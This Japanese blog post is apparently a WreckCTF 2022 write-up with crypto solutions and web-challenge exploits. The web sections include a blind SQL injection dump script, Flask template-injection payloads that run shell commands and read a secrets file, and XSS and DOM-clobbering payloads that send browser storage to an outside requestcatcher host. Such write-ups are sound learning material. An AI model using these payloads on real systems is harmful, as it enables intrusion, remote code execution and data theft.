はまやんはまやんはまやん

hamayanhamayan's blog

WRECKCTF (2022) Writeupというかチラシの裏

[crypto] spin

元の文字から特定の文字が作られるので、各文字について暗号化前と後を持っておき、
そのマッピングを利用して復元していく。

encrypted = 'oujp{xkurpjcxah_ljnbja_lryqna}'

raw = 'qwertyuiopasdfghjklzxcvbnm{}_'
enc = 'zfnachdrxyjbmopqstuiglekwv{}_'

ans = ''
for c in encrypted:
    for a,b in zip(raw, enc):
        if b == c:
            ans = ans + a

print(ans)

flag{obligatory_caesar_cipher}

[crypto] baby-rsa

nが素因数分解できてしまうとRSAは終わりであるが、
nとpが与えられているので素因数分解できてしまう。
q = n / pでqを求めて、後は普通にRSAをデコードしていく。

flag{omg_its_rsa}

from Crypto.Util.number import *
from math import lcm

n = 16967030524502117214404100938261512382476151014953810086457458506775561699741027177109475539121211529814684487395199133801638599985180955338495989569340540376124807821943573280630324881818066744507564756665127210459332444920606486994072129710858139496303833832240535648836812837435101898107375109591298448865096896766383411711200824664445664678845771535439939206180644815510852117001857835603778955859253603587494892843836213881773638034262614536999861164857385629363907454894250540295882187971147536166744476224735521763298209764627356686320122210736490192602850501326898433744416186683178097463922613678659551708913
p = 112938170774939578216646572395872887695843784155521810581759026139441777082668981414130841110435151229821393412015735096194165993689242885701364849407355608664777621193747399866798831020509285147859127962346645901944198309670340274589989755553987121054384691648307853338777947729704797783621352987968380404953
c = 3368698370223657437363956246409070827533162506001921259102069828983434755863382284430154276267297409790119872670804781112016305330950073801884911157804546010154111795543704170801587831489566486566469051334021190261635984576008739988870135676555037073260283576557781498330505383655344806353896492051402660556261952019042918816172190224923806908316787952447009744475852130517418559365436552563392957767628839691411633880727219556601643606771975372751803686173396627207883779445464569870767142834865744494453087393160416188615150825879908393020074220980283645462336483624972560418501642296980186442041991775924025176517

q = n // p

e = 65537

phi = lcm(p-1,q-1)
d = pow(e, -1, phi)
m = pow(c, d, n)

print(long_to_bytes(m))

[crypto] mtp

暗号化すると同じ場所で文字であれば、同一の特定の文字に変換される。
先頭から一致するように平文を試していけば復元できそう。
pwntoolsで実装して、全探索コードを書く。
一応気を遣ってsleepを挟みながら実行し、のんびり待つとフラグが得られる。

from pwn import *
import time

ans = 'flag{'
for _ in range(20):
    def get_result(p):
        p.recvuntil(b'Result: ')
        return p.recvuntil(b'\n')[:-1].decode('utf-8')

    p = remote("challs.wreckctf.com", 31239)
    p.sendlineafter(b"> ", b"2")
    sensei = get_result(p)
    print(sensei)


    for c in "qwertyuiopasdfghjklzxcvbnm{}_":
        p.sendlineafter(b"> ", b"1")
        p.sendlineafter(b"What's your message? ", (ans + c).encode('utf-8'))
        dec = get_result(p)
        if sensei.startswith(dec):
            ans = ans + c
            print(f"[+] {ans}")
            break
    p.close()
    time.sleep(5)

print(f"[*] {ans}")

[crypto] token

2つのクエリが可能

  • クエリ1: 暗号化されたトークンを与えて復号結果がgaryならフラグが得られる
  • クエリ2: gary以外の任意の文字列を暗号化できる

つまり、何とかしてgaryを暗号化したトークンが手に入ればいい。

脆弱点はAES.MODE_ECBで暗号化されている所。
これは平文をブロックに分けて(今回は16ビット)それぞれ暗号化して結合することで暗号化する。
この方式の難点は切り貼りできるという部分である。

具体的には'A'*16 + 'gary'を暗号化すると、1ブロック目は'A'*16の暗号文になっていて、
2ブロック目は'gary'の暗号文になっている。
かつ、場所によって暗号方式が変化するわけではないので、ここで作られた2ブロック目の暗号文は
ちょうど普通にgaryを暗号化したときの暗号文と同一である。

よって、解法としては'A'*16 + 'gary'をクエリ2で暗号化して、
暗号文の後半を切り取ってクエリ1に無ければフラグ。

flag{gary_gary_gary_gary_gary_gary}

[web] sources

sourcesという問題なので、ソースコードにフラグが散らばっているんだろう。
burpのログを見ると以下にフラグがある。

  • GET / -> <!-- flag part 1: flag{bd6a9e3f -->
  • GET /style.css -> /* flag part 2: 1690f7ab */
  • GET /script.js -> // flag part 3: b8445c0e}

つなぐと答え

flag{bd6a9e3f1690f7abb8445c0e}

[web] password-1

ソースコードを見るとGET /api/outputでフラグが得られる。

flag{why_is_hashing_in_browser_so_hard}

[web] password-2

与えられているソースコードをみるとindex.jsの17行目に
SELECT password FROM passwords WHERE password='${password}';
とあり、SQL Injection脆弱性がある。

なんでもいいので結果が存在すればフラグが手に入るので' or ''='としてフラグ獲得。

flag{i_love_in_memory_sqlite}

[web] notes-1

ソースコードが与えられるのでindex.jsを見ながら怪しい部分を探していく。

  • 8~11行目:noteのidは0から始まる番号のsha256ハッシュが使われていて、推測可能
  • 45行目~: GET /view/:idには認可チェックが無いのでIDさえわかればnoteが見れる

ということで、IDOR脆弱性がある。
フラグのnoteは最初に保存されているので0のsha256を使って、
GET /view/5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9
のようにアクセスすればフラグが手に入る。

flag{technically_a_vulnerability}

[web] blog

ソースコードを巡回するとblog.pyにてSSTI脆弱性が見つかる。

33行目で<p>Post \"""" + request.args.get('title') + """\" created successfully. </p>とテンプレートに入力が埋め込まれていて、
36行目でreturn render_template_string(quicktemplate)のようにサーバサイドレンダリングが実行されている。
flaskのrender_template_stringは内部でninja使ってるので、とりあえず{{config}}を試す。
GET /postsuccess?title={{config}}をしてみるとたくさん色々出てくるので成功していそう。

適当に手元にあるRCEコードを試すと刺さるので、後は適当に環境を巡回すればフラグが手に入る。
{{request.application.__globals__.__builtins__.__import__('os').popen('ls -lah').read()}}

最終的にはGET /postsuccess?title=%7b%7brequest.application.__globals__.__builtins__.__import__('os').popen('cat%20flaskr%2fprotected%2fburdellsecrets.txt').read()%7d%7dでフラグ獲得。

flag{I'm_not_real_:)}

[web] password-3

password-2とほぼ同じ感じではあるが、単に認証を突破するだけでなく、
データベースの中身をダンプしてフラグを獲得する必要がある。
色々横着を考えたが、おとなしくBlind SQL Injectionで抜き出すことにする。

select group_concat(password) from passwordsの結果をBlind SQL Injectionで抜いてきたらフラグが得られる。

flag{whee_binary_search_sqli}

import requests
import time

url = 'https://password-3.challs.wreckctf.com/password'
req = "select group_concat(password) from passwords"

ans = ""
for i in range(1, 1010):
    ok = 0
    ng = 255

    while ok + 1 != ng:
        md = (ok + ng) // 2
        exp = f"' or {md} <= (SELECT unicode(substr(({req}),{i},1))) --"
        res = requests.post(url, json={'password':exp})
        if '"success":true' in res.text:
            ok = md
        else:
            ng = md

    if ok == 0:
        break

    ans += chr(ok)
    print(f"[*] {ans}")
    time.sleep(1)
print(f"[*] done! {ans}")

[web] notes-2

前問題であるnotes-1の進化系っぽいので、ソースコードのdiffを見てみる。
すると、idは0-indexedのsha256ではなく、乱数のhexとなっている。
推測は難しそう。
かつ、FLAGはサーバ自体に抱えられず、ソースコード上からも消えている。
代わりにXSSできるようになっているっぽい。

previousというのが追加されていて、XSSでこのアドレスを抜いてくればよさそう。
良い感じに";}); alert(1); button.addEventListener('click', () => { const x = "とするとXSS発火する。

";}); fetch('https://abc.requestcatcher.com/test', { method : 'post', body: localStorage.previous }); button.addEventListener('click', () => { const x = "

これでlocalStorage.previousの内容が漏洩するので、Admin Botで踏ませてURLが得られたらアクセスしてフラグ獲得。

flag{context_dependent_sanitization}

[web] notes-3

前問のnotes-2と同じくXSSで情報を抜くタイプの問題みたい。
CSPでContent-Security-Policy: script-src 'self'と設定されている。
CSP Evaluatorで見てみてもselfを狙うものしかなさそう。
(object-srcも警告が出るが、古いブラウザでしか機能しない攻撃が成立することを指摘している)

んー、と思っていると天啓が下りてくる。
script.jsを見てみると

fetch(\`\${CONFIG.analytics}/?Api-Key=\${CONFIG.key}\`, {
    method: 'POST',
    headers: { 'content-type': 'application/javascript' },
    body: JSON.stringify({ previous: previous ?? '', current }),
    mode: 'no-cors',
})

となっていて、前回の問題で抜き出したpreviousが外部送信されている。
CONFIG.analyticsを自分たちの先に変更することができれば抜き出せそうだが…
という所から考えると、DOM Clobberingが思い浮かぶ。
これは普通のHTMLタグを利用することで、javascriptグローバル変数を用意できるといったもの。
DOM Clobbering まとめ – やっていく気持ちが詳しい。

とにかく、目標としてはCONFIG.analyticsに任意のURLを入れたいので、
結論から言うと以下のようなpayloadを使う。

<a id=CONFIG><a id=CONFIG name=analytics href="https://abc.requestcatcher.com/test">
<script src='/script.js'></script>

script.jsはもともと用意されているものを使ってしまうと、その前にconfig.jsが呼ばれているので上書きされてしまう。
なので、DOM Clobberingを使って、CONFIG.analyticsにhttps://abcc.requestcatcher.com/testを入れた後に先にscript.jsを呼び出す必要がある。
aタグの追加はCSPには影響しないし、scriptタグでscript.jsを入れ込むのもscript-src 'self'なので問題ない。
javascriptCONFIG.analyticsをそのまま呼び出すとaタグ全体が出力されてしまうが、文字列化されると、hrefの中身だけになる。(なぜか)
今回は${CONFIG.analytics}/?Api-Key=${CONFIG.key}のように文字列埋め込みされているので、この文字列全体が'https://abcc.requestcatcher.com/test/?Api-Key=undefined'のようになって、想定通りの結果となる。

あとは、これをAdmin Botで踏ませるとPOSTでURLが送られてくるので、それを使ってIDORをしてフラグ獲得。

flag{the_newrelic_didnt_even_work}